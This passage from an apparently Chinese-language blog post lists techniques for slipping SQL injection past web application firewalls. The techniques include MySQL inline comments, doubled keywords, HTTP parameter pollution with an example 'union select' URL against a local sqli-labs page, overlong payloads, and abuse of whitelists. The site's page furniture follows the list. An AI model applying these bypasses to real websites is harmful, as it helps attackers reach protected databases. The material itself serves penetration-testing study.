    3. 内联注释 (/!**/ 只有 MYSQL 有)
    4. 只过滤一次: union --> ununionion
  11. HTTP 参数:

    1. HTTP 参数污染:
      image-20220731153656628
    2. HTTP 分割注入
  12. 缓冲区溢出:
    一些 C 语言的 WAF 处理的字符串长度有限制。超出某个长度后的 pyload 可能不会被处理

  13. 二次注入有长度限制时,通过多聚执行的方法改掉数据库该字段的长度绕过

  14. 数据库特性:

    1. 举例: [http://12 7.0.0.1/Less-2/?id=1/&id=-1%20union%20select%201,2,3%23*/](http://127.0.0.1/Less-2/?id=1/&id=-1 union select 1,2,3%23*/)
      安全狗匹配到的是: 1/-1%20union%20select%201,2,3%23*/ 或者 1/&id=-1%20union%20select%201,2,3%23*/ 其中符号中起到注释作用,正常情况下没有执行,安全狗直接不管,但是参数污染导致接收的真实数据是 -1 union select 1,2,3#*/ 能正常执行 sql
    2. 在 MYSQL 中 /!50001select * from test/
      这里的 50001 表示,只有当数据库是 5.00.01以上的版本,该语句才会执行
  15. FUZZ 大法

  16. WAF 绕过方式:

    1. 白名单
      从网络层获取的IP,这种一般伪造不出来,如果是获取客户端的IP,这样就可能存在伪造 IP 绕过的情况
    2. 静态资源:
      已经无法绕过
    3. URL 白名单:
      为了防止误栏,部分waf内置默认的白名单列表,如 admin/manager/system 等管理后台,只要 url 中存在白名单的字符串,就作为摆明不进行检测
    4. 爬虫白名单:
      部分 waf 有提供爬虫白名单的功能

推荐文章

SQL 注入知识库

SQL 注入 ByPass 的一些技巧

SQL 注入漏洞详解


  1. a-z ↩︎

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值